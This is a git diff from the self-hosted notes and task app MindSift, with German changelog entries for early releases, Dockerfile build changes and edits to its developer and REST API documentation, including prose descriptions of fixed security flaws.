- Echtes ESLint (`eslint.config.js`) im Frontend- und Image-Build sowie erweiterte Frontend-Tests (FLAW-19); vereinheitlichte Zugriffsabfrage für Aufgabenlisten (FLAW-20).
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- SQLite-Transaktionen starten mit `BEGIN IMMEDIATE` (`_txlock=immediate`), sodass parallele Schreiber auf das Lock warten statt mit `SQLITE_BUSY` zu scheitern (FLAW-23).
|
||||||
|
- Mehrstufige Datenbankänderungen (Ordner/Aufgabenlisten/Konten löschen, Freigaben, Passwort-Reset) laufen atomar in Transaktionen und melden Schreibfehler sauber zurück (FLAW-14).
|
||||||
|
- Fälligkeits-Alarme brechen nach 3 fehlgeschlagenen Zustellversuchen mit einer Warnung ab, statt jede Minute endlos weiterzusenden (FLAW-12).
|
||||||
|
- Bessere Lesbarkeit (dunkler Text) auf dem Türkis-Akzent des Themes `Polarized` sowie korrekte `rounded-full`-Darstellung runder Icon-Buttons in eckigen Themes.
|
||||||
|
|
||||||
|
### Security
|
||||||
|
- Einmal-Stream-Tickets statt langlebiger Sitzungs-Tokens in WebSocket-/SSE-URLs; `BASE_URL` schränkt CORS- und WebSocket-Origins ein; Abmelden, Passwortwechsel und Kontosperre trennen offene Live-Streams sofort (FLAW-22).
|
||||||
|
- Berechtigungsprüfung für alle Listeneintrags-Endpunkte und beim Umwandeln von Gedanken in Listeneinträge (Eigentümer oder Bearbeiter erforderlich, verhindert IDOR und Schreibzugriffe durch Leser) (FLAW-27).
|
||||||
|
- API-Keys sind strikt auf ihre Scopes (`webhook:triage`, `webhook:task`, `webhook:list`) beschränkt und können keine Live-Streams öffnen (FLAW-07).
|
||||||
|
- Schutz gegen Brute-Force beim Login (Sperre nach Fehlversuchen pro Konto+IP, Konto und IP mit `429` und `Retry-After`) sowie explizite Konfiguration vertrauenswürdiger Reverse-Proxys über `TRUSTED_PROXIES` (FLAW-09).
|
||||||
|
- `DeleteTaskList` prüft die Eigentümerschaft vor dem Entkoppeln von Aufgaben; Leser können Verknüpfungen zwischen Notiz-Blöcken und Aufgaben nicht mehr aufheben (FLAW-14).
|
||||||
|
|
||||||
|
## [0.4.1] - 2026-10-29
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Fälligkeitsdatum mit optionaler Uhrzeit (`YYYY-MM-DDTHH:MM`); Alarme berücksichtigen Uhrzeit (bzw. 09:00 Uhr bei ganztägigen Aufgaben), Vorlaufzeit (`notify_before_minutes`) und Zeitzone (`TZ`, Standard `Europe/Berlin`) (FLAW-12).
|
||||||
|
- Papierkorb für Notizen (`GET/POST/DELETE /documents/trash…`): Gelöschte Notizen und Ordner landen im Papierkorb, verschwinden aus Baum, Suche und Export und lassen sich vom Eigentümer wiederherstellen oder endgültig löschen.
|
||||||
|
- Backlinks am Ende einer Notiz (`GET /documents/{id}/backlinks`): Zeigt alle zugänglichen Notizen und Punkte, die per `[[Titel]]` auf die aktuelle Notiz verweisen, mit direktem Sprung zum Punkt.
|
||||||
|
- „Passwort vergessen?“ auf dem Anmeldebildschirm (wenn SMTP und `BASE_URL` eingerichtet sind): Einmal-Link per E-Mail (SHA-256-Hash gespeichert, 1 Stunde gültig), setzt das Passwort zurück und beendet alle bestehenden Sitzungen.
|
||||||
|
- Offline-fähige PWA: Service Worker hält die App-Shell vor, gelesene Daten werden pro Benutzer in IndexedDB zwischengespeichert und offline erfasste Gedanken sowie abgehakte Aufgaben/Listeneinträge über eine Outbox bei Rückkehr der Verbindung synchronisiert.
|
||||||
|
- Zwei neue dunkle Themes: `Polarized` (Obsidian & Türkis/Smaragd) und `Suri` (Mitternachts-Pflaume & Orchidee).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Aufteilung von `internal/storage/sqlite.go` und `internal/api/server.go` in domänenspezifische Dateien ohne Verhaltensänderung (FLAW-20).
|
||||||
|
|
||||||
|
### Security
|
||||||
|
- Ohne gesetztes `JWT_SECRET` (oder bei bekannten Platzhaltern) erzeugt der Server einmalig ein zufälliges 32-Byte-Geheimnis in `data/jwt.secret` (`0600`), statt ein öffentlich bekanntes Standard-Secret zu verwenden (FLAW-04).
|
||||||
|
- SSRF-Schutz für Discord- und benutzerdefinierte Alarm-Webhooks: Nur `https`, Host-Prüfung für Discord, Blockieren von Loopback/Link-Local/Cloud-Metadata bei der DNS-Auflösung; private Netze und `http` nur über expliziten Admin-Schalter (`allowPrivateWebhooks`) (FLAW-05).
|
||||||
|
- Einheitliche Authentifizierungsprüfung für Middleware und Webhook-Ingest inkl. Sperrliste, `token_version` und aktivem Konto; API-Keys dürfen keine Lese- oder Verwaltungs-Endpunkte mehr aufrufen (FLAW-07, FLAW-08).
|
||||||
|
|
||||||
|
## [0.4] - 2026-10-29
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Daten-Import mit Vorschau (`?preview=1`) und Größen-/Pfad-Limits: Wiederherstellen oder Hinzufügen von MindSift-Backups (JSON, ZIP oder Markdown-Archiv via `POST /import/mindsift`) sowie Import ganzer Obsidian-Vaults als ZIP (`POST /import/obsidian`).
|
||||||
|
- Vollständiger Datenexport auch als komprimiertes ZIP-Archiv (`GET /export?format=zip`).
|
||||||
|
- Wiederkehrende Aufgaben (`daily`, `weekly`, `monthly`, `yearly`): Beim Abschließen einer Aufgabe wird automatisch die nächste Instanz zum Folgetermin angelegt.
|
||||||
|
- Gefahrenzone in den Kontoeinstellungen: Eigene Daten (`DELETE /user/data`) oder das gesamte eigene Konto (`DELETE /user/account`) nach Passwortbestätigung löschen (der letzte Server-Admin ist vor Selbstlöschung geschützt).
|
||||||
|
- PWA-Startbildschirm (Splash Screen) und automatische Anpassung der Statusleisten-Farbe (`theme-color`) an das aktive Theme.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- SMTP-Versand fällt auf `AUTH LOGIN` zurück, wenn der Server `AUTH PLAIN` ablehnt (z. B. Postfix/Dovecot oder Exchange); das Port-Feld in den Admin-Einstellungen lässt sich leeren und ohne Typfehler speichern.
|
||||||
|
- Mobil: Formular-Sheets (`FormSheet`) und Emoji-Picker positionieren sich über der Bildschirmtastatur (`visualViewport`).
|
||||||
|
- Ältere Datenbanken werden beim Start nicht mehr durch den früheren Schema-Reset geleert.
|
||||||
|
|
||||||
|
## [0.3] - 2026-10-29
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Organisationen und Sichtbarkeits-Modi (`private`, `organizations`, `open`), verwaltet durch Server-Admins; bestimmt zentral, wer wen in der Benutzersuche sieht und mit wem Inhalte geteilt werden können (FLAW-10, FLAW-24).
|
||||||
|
- Aufgaben-Zuweisung (`assignees`) in geteilten Aufgabenlisten, einheitliche Benutzersuche (`UserAutocomplete`), Avatar-Stapel (`AvatarStack`) und runde Zähler-Badges (`CountBadge`).
|
||||||
|
- Eigene CSS-Themes pro Benutzer (`GET/POST /themes`, `DELETE /themes/{id}`): `.css`-Datei hochladen oder einfügen, Vorlage herunterladen und live umschalten.
|
||||||
|
- Globale Volltextsuche über Gedanken, Aufgaben, Notizen und Listeneinträge auf Basis von SQLite FTS5 mit BM25-Ranking, Berechtigungsprüfung und `⌘K`/`Ctrl+K`-Befehlspalette (FLAW-18).
|
||||||
|
- Obsidian-kompatibler Markdown-Export (`GET /export/markdown`) als gestreamtes ZIP-Archiv über alle Notizen, Ordner, Aufgabenlisten und Listen.
|
||||||
|
- Vollständige Emoji-Auswahl für Notiz-Icons (Lazy-Loading, auf dem Smartphone als Bottom-Sheet).
|
||||||
|
- Optionale Links/Texte für Impressum und Datenschutz (`LEGAL_IMPRINT_*`, `LEGAL_PRIVACY_*`, `GET /legal/{imprint|privacy}`) sowie „Über MindSift“-Dialog.
|
||||||
|
- Veröffentlichung unter [The Unlicense](LICENSE) (gemeinfrei, FLAW-21).
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- **Achtung:** Nur noch Eigentümer können Ressourcen (Aufgabenlisten, Listen, Notizen, Ordner) teilen; das alte Feld `task_lists.team_id` und die ungeschützten `/organizations`-Routen entfallen. Entfällt die Sichtbarkeit (z. B. durch Organisationswechsel), werden Freigaben, Gruppenmitgliedschaften und Zuweisungen automatisch bereinigt (FLAW-06, FLAW-10, FLAW-24).
|
||||||
|
- Demo-Modus setzt die Datenbank bei jedem Serverstart sauber zurück und befüllt sie neu.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- SMTP-Client mit explizitem Protokollablauf (`EHLO` mit Absender-Domain, `STARTTLS`, `AUTH`, RFC-2047-Header, `SMTP_SKIP_VERIFY` für selbstsignierte Zertifikate).
|
||||||
|
- Tailwind-Deckkraft-Modifikatoren (`bg-accent/15` usw.) funktionieren über `color-mix()` mit allen Theme-Variablen.
|
||||||
|
- Mobil- und Desktop-Verbesserungen: Stilles Nachladen von Aufgabenlisten ohne Verschlucken von Klicks, `#`-Anker in URLs werden nicht mehr als Hashtags erkannt, mehrzeilige Aufgaben-Notizen im Dialog voll scrollbar.
|
||||||
|
|
||||||
|
## [0.2.1] - 2026-10-28
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Notizen: Nach dem Umwandeln eines `/todo`-Punkts in eine erweiterte Aufgabe öffnet sich diese direkt; ein Klick auf das Badge „Erweitert“ öffnet den Aufgabendialog.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- Container-Build taggt Release-Images (`v*`) zusätzlich als `:stable` und `:latest`, den `dev`-Branch als `:dev`.
|
||||||
|
|
||||||
|
## [0.2] - 2026-10-28
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Echtzeit-Zusammenarbeit in Notizen (`internal/collab`, `frontend/src/lib/docSync`): Server-autoritativer Operations-Log (`doc_ops`) mit Baumstruktur, Fractional-Indexing-Sortierschlüsseln, 20-Sekunden-Blocksperren (Leases), Offline-Warteschlange in IndexedDB und automatischem Transport-Fallback (WebSocket → SSE → Long-Polling → Intervall-Polling).
|
||||||
|
- Notizen und Ordner lassen sich jetzt auch mit Schreibrecht („Bearbeiten“) teilen (FLAW-17).
|
||||||
|
- Sichtbare Blocksperren mit Namen des Bearbeitenden, Anwesenheitsanzeige im Notizkopf, Konfliktkopien („Übernehmen“ / „Verwerfen“) statt Datenverlust bei gleichzeitigen Änderungen sowie benutzerbezogenes Undo/Redo (`Ctrl/Cmd+Z`, `Ctrl+Y`) über die gesamte Notiz (FLAW-25, FLAW-26).
|
||||||
|
- Automatische Hintergrund-Verdichtung des Operations-Logs und Bereinigung gelöschter Blöcke (Tombstones) nach 30 Tagen.
|
||||||
|
- Outliner: `Backspace` am Zeilenanfang verschmilzt den Punkt mit dem vorherigen; `#Hashtags` werden direkt im Fließtext als anklickbare Chips gerendert; Klick in einen Punkt setzt den Cursor exakt an die geklickte Textstelle.
|
||||||
|
- Vitest + Testing Library im Frontend-Build sowie Playwright-End-to-End-Tests (`e2e/`) für Live-Kollaboration, Sperren und Proxy-Fallbacks.
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
- **Achtung:** Altes ganzheitliches Überschreiben von Notizen (`PATCH /documents/{id}/blocks`, `DOC_BLOCKS_PATCHED`) entfernt; alle Blockänderungen laufen über `/docs/{id}/sync`.
|
||||||
|
|
||||||
|
### Security
|
||||||
|
- Echtzeit-Ereignisse (`BroadcastToAll` entfernt) und WebSocket-/SSE-Räume sind strikt auf berechtigte, angemeldete Benutzer beschränkt; `ReorderTasks` prüft Schreibrechte (IDOR behoben); SSE-Streams werden nicht mehr nach 30 s durch `WriteTimeout` getrennt; Block-Upserts prüfen die Dokumentzugehörigkeit (FLAW-01, FLAW-02, FLAW-03, FLAW-11, FLAW-15).
|
||||||
|
|
||||||
|
## [0.1] - 2026-10-27
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Erste veröffentlichte Version von MindSift als einzelner selbst gehosteter Container (Go-Backend, eingebettetes React/TypeScript/Tailwind-Frontend, SQLite im WAL-Modus).
|
||||||
|
- Schnellerfassung (Quick Dump per `C`/`/`, Spracheingabe, mehrzeilig mit `Shift+Enter`, direkte Zielwahl) und Triage-Deck (Tastaturkürzel & Smartphone-Wischgesten).
|
||||||
|
- Aufgabenverwaltung mit mehreren Listen, frei konfigurierbarem Kanban-Board, Prioritäten, Fälligkeitsdaten, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen, Filtern/Gruppierungen sowie Fälligkeits-Alarmen per E-Mail (SMTP), Discord und eigenem Webhook.
|
||||||
|
- Hierarchischer Outliner-Workspace mit Ordnerbaum, Drag & Drop ganzer Äste, Zoom-Fokus mit Breadcrumbs, Slash-Befehlen (`/todo`, `/link`, `/h1`–`/h3`, `/code`, `/callout`, `/divider`), Wiki-Links `[[Notiz]]`, `#Hashtag`-Übersicht, globalem To-Do-Rollup und `.md`-Export.
|
||||||
|
- Geteilte Listen (Einkaufs-, Pack- und Checklisten) mit `#Kategorie`-Gruppierung, Mengenangaben und Echtzeit-Abhaken.
|
||||||
|
- Benutzer-, Gruppen- und Admin-Verwaltung (Ersteinrichtungs-Assistent, Einladungscodes, Profilbilder, persönliche API-Keys & Webhook-Ingest `/api/v1/webhooks/ingest`, JSON-Datenexport) sowie CSS-Theme-Engine mit 4 Themes (`Dark`, `Light`, `High Contrast`, `Soft`) und PWA-Unterstützung.
|
||||||
|
|
||||||
|
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.28.0...dev
|
||||||
|
[0.28.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.27.1...v0.28.0
|
||||||
|
[0.27.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.27.0...v0.27.1
|
||||||
|
[0.27.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.26.1...v0.27.0
|
||||||
|
[0.26.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.26.0...v0.26.1
|
||||||
|
[0.26.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.25.1...v0.26.0
|
||||||
|
[0.25.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.25.0...v0.25.1
|
||||||
|
[0.25.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.24.2...v0.25.0
|
||||||
|
[0.24.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.24.1...v0.24.2
|
||||||
|
[0.24.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.24.0...v0.24.1
|
||||||
|
[0.24.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.23.0...v0.24.0
|
||||||
|
[0.23.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.2...v0.23.0
|
||||||
|
[0.22.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.1...v0.22.2
|
||||||
|
[0.22.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.0...v0.22.1
|
||||||
|
[0.22.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.21.0...v0.22.0
|
||||||
|
[0.21.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.20.0...v0.21.0
|
||||||
|
[0.20.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.19.0...v0.20.0
|
||||||
|
[0.19.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.18.1...v0.19.0
|
||||||
|
[0.18.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.18.0...v0.18.1
|
||||||
|
[0.18.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.4...v0.18.0
|
||||||
|
[0.17.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.3...v0.17.4
|
||||||
|
[0.17.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.2...v0.17.3
|
||||||
|
[0.17.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.1...v0.17.2
|
||||||
|
[0.17.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.0...v0.17.1
|
||||||
|
[0.17.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.16.1...v0.17.0
|
||||||
|
[0.16.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.16.0...v0.16.1
|
||||||
|
[0.16.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.15.1...v0.16.0
|
||||||
|
[0.15.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.15.0...v0.15.1
|
||||||
|
[0.15.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.3...v0.15.0
|
||||||
|
[0.14.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.2...v0.14.3
|
||||||
|
[0.14.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.1...v0.14.2
|
||||||
|
[0.14.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.0...v0.14.1
|
||||||
|
[0.14.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.13.0...v0.14.0
|
||||||
|
[0.13.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.2...v0.13.0
|
||||||
|
[0.12.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.1...v0.12.2
|
||||||
|
[0.12.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.0...v0.12.1
|
||||||
|
[0.12.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.11.1...v0.12.0
|
||||||
|
[0.11.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.11.0...v0.11.1
|
||||||
|
[0.11.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.10.0...v0.11.0
|
||||||
|
[0.10.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.9.0...v0.10.0
|
||||||
|
[0.9.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.8.0...v0.9.0
|
||||||
|
[0.8.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.7.0...v0.8.0
|
||||||
|
[0.7.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.7.0
|
||||||
|
[0.6.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.6.1
|
||||||
|
[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
|
||||||
|
[0.5.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.1...v0.5.2
|
||||||
|
[0.5.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5...v0.5.1
|
||||||
|
[0.5]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4.1...v0.5
|
||||||
|
[0.4.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4...v0.4.1
|
||||||
|
[0.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.3...v0.4
|
||||||
|
[0.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2.1...v0.3
|
||||||
|
[0.2.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2...v0.2.1
|
||||||
|
[0.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.1...v0.2
|
||||||
|
[0.1]: https://git.dsit.me/sandrodach/MindSift/releases/tag/v0.1
|
||||||
@@ -4,11 +4,17 @@
|
|||||||
FROM node:22-alpine AS frontend-builder
|
FROM node:22-alpine AS frontend-builder
|
||||||
WORKDIR /app/frontend
|
WORKDIR /app/frontend
|
||||||
COPY frontend/package*.json ./
|
COPY frontend/package*.json ./
|
||||||
RUN npm install --no-audit --no-fund
|
RUN --mount=type=cache,target=/root/.npm npm install --no-audit --no-fund
|
||||||
COPY frontend/ ./
|
COPY frontend/ ./
|
||||||
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
|
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
|
||||||
ARG APP_VERSION=""
|
ARG APP_VERSION=""
|
||||||
RUN npx tsc --noEmit && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
|
ARG SKIP_TESTS=0
|
||||||
|
RUN if [ "$SKIP_TESTS" != "1" ]; then \
|
||||||
|
npx tsc --noEmit && npm run lint && npm run test:run; \
|
||||||
|
else \
|
||||||
|
echo "Skipping frontend tests (SKIP_TESTS=1)"; \
|
||||||
|
fi && \
|
||||||
|
APP_VERSION="${APP_VERSION}" npm run build
|
||||||
|
|
||||||
# ==============================================================================
|
# ==============================================================================
|
||||||
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
|
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
|
||||||
@@ -19,7 +25,8 @@ RUN apk add --no-cache git ca-certificates
|
|||||||
|
|
||||||
# Cache Go modules & pre-compile heavy dependencies (modernc.org/sqlite) in a dedicated layer
|
# Cache Go modules & pre-compile heavy dependencies (modernc.org/sqlite) in a dedicated layer
|
||||||
COPY go.mod ./
|
COPY go.mod ./
|
||||||
RUN go get github.com/go-chi/chi/v5@v5.2.0 \
|
RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
|
||||||
|
go get github.com/go-chi/chi/v5@v5.2.0 \
|
||||||
github.com/go-chi/cors@v1.2.1 \
|
github.com/go-chi/cors@v1.2.1 \
|
||||||
github.com/golang-jwt/jwt/v5@v5.2.1 \
|
github.com/golang-jwt/jwt/v5@v5.2.1 \
|
||||||
github.com/gorilla/websocket@v1.5.3 \
|
github.com/gorilla/websocket@v1.5.3 \
|
||||||
@@ -36,19 +43,28 @@ RUN go get github.com/go-chi/chi/v5@v5.2.0 \
|
|||||||
# Copy application source & compiled frontend SPA assets for go:embed
|
# Copy application source & compiled frontend SPA assets for go:embed
|
||||||
COPY cmd/ ./cmd/
|
COPY cmd/ ./cmd/
|
||||||
COPY internal/ ./internal/
|
COPY internal/ ./internal/
|
||||||
COPY migrations/ ./migrations/
|
|
||||||
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
|
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
|
||||||
|
|
||||||
|
ARG SKIP_TESTS=0
|
||||||
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
|
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
|
||||||
RUN go mod tidy && \
|
RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
|
||||||
|
go mod tidy && \
|
||||||
|
if [ "$SKIP_TESTS" != "1" ]; then \
|
||||||
CGO_ENABLED=0 go vet ./... && \
|
CGO_ENABLED=0 go vet ./... && \
|
||||||
CGO_ENABLED=0 go test -v ./... && \
|
CGO_ENABLED=0 go test -v ./...; \
|
||||||
|
else \
|
||||||
|
echo "Skipping backend tests (SKIP_TESTS=1)"; \
|
||||||
|
fi && \
|
||||||
CGO_ENABLED=0 go build -ldflags="-s -w" -o /app/mindsift ./cmd/server
|
CGO_ENABLED=0 go build -ldflags="-s -w" -o /app/mindsift ./cmd/server
|
||||||
|
|
||||||
# ==============================================================================
|
# ==============================================================================
|
||||||
# Stage 3: Minimal Production Runtime (< 35 MB)
|
# Stage 3: Minimal Production Runtime (< 35 MB)
|
||||||
# ==============================================================================
|
# ==============================================================================
|
||||||
FROM alpine:3.21
|
FROM alpine:3.21
|
||||||
|
# The code state the image was built from (CI: decides whether a later build may skip the tests)
|
||||||
|
ARG GIT_SHA=""
|
||||||
|
ARG GIT_TREE=""
|
||||||
|
LABEL org.opencontainers.image.revision="${GIT_SHA}" io.mindsift.tree="${GIT_TREE}"
|
||||||
RUN apk add --no-cache ca-certificates tzdata && \
|
RUN apk add --no-cache ca-certificates tzdata && \
|
||||||
mkdir -p /data /tmp && \
|
mkdir -p /data /tmp && \
|
||||||
chmod 1777 /tmp
|
chmod 1777 /tmp
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
|
|||||||
| [sharing-and-permissions.md](sharing-and-permissions.md) | Rollen, Gruppen, Freigaben |
|
| [sharing-and-permissions.md](sharing-and-permissions.md) | Rollen, Gruppen, Freigaben |
|
||||||
| [reverse-proxy.md](reverse-proxy.md) | Nginx, Traefik, Caddy, Cloudflare |
|
| [reverse-proxy.md](reverse-proxy.md) | Nginx, Traefik, Caddy, Cloudflare |
|
||||||
| [theming.md](theming.md) | Themes und Design-Variablen |
|
| [theming.md](theming.md) | Themes und Design-Variablen |
|
||||||
|
| [ui-patterns.md](ui-patterns.md) | Einheitliche Bedienelemente: Personensuche, Profilbild-Stapel, Zähler |
|
||||||
| [flaws.md](flaws.md) | Bekannte Schwachstellen und technische Schulden |
|
| [flaws.md](flaws.md) | Bekannte Schwachstellen und technische Schulden |
|
||||||
|
|
||||||
## Überblick in 60 Sekunden
|
## Überblick in 60 Sekunden
|
||||||
@@ -26,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
|
|||||||
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
|
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
|
||||||
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
|
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
|
||||||
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
|
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
|
||||||
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
||||||
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
|
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
|
||||||
|
|
||||||
## Entwickeln
|
## Entwickeln
|
||||||
|
|||||||
@@ -1,20 +1,26 @@
|
|||||||
# REST-API
|
# REST-API
|
||||||
|
|
||||||
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>` oder `Bearer mindsift_sec_…` bzw. Header `X-API-Key`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Mit den Agenten-Scopes `tasks:read`, `tasks:write`, `lists:read`, `lists:write` nutzen sie außerdem den [MCP-Endpunkt](#mcp-für-ki-agenten-post-apiv1mcp). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
||||||
|
|
||||||
## Öffentlich
|
## Öffentlich
|
||||||
|
|
||||||
| Methode | Pfad | Zweck |
|
| Methode | Pfad | Zweck |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET | `/health` | Lebenszeichen |
|
| GET | `/health` | Lebenszeichen |
|
||||||
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode` |
|
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`, `customLinkLabel`, `customLinkUrl`) |
|
||||||
|
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
|
||||||
|
| POST | `/share-target` | PWA Web Share Target Fallback: Weiterleitung auf `/` (`303 See Other`), falls Service Worker noch inaktiv |
|
||||||
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
|
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
|
||||||
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
|
| POST | `/auth/verify-email` | Link aus der Bestätigungs-E-Mail (`token`): schaltet das Konto frei oder reicht es an die Freigabe weiter (`{"verified","pending","message"}`) |
|
||||||
|
| POST | `/auth/resend-verification` | Bestätigungslink erneut schicken (`email`); antwortet immer gleich, höchstens alle 2 Minuten pro Konto |
|
||||||
|
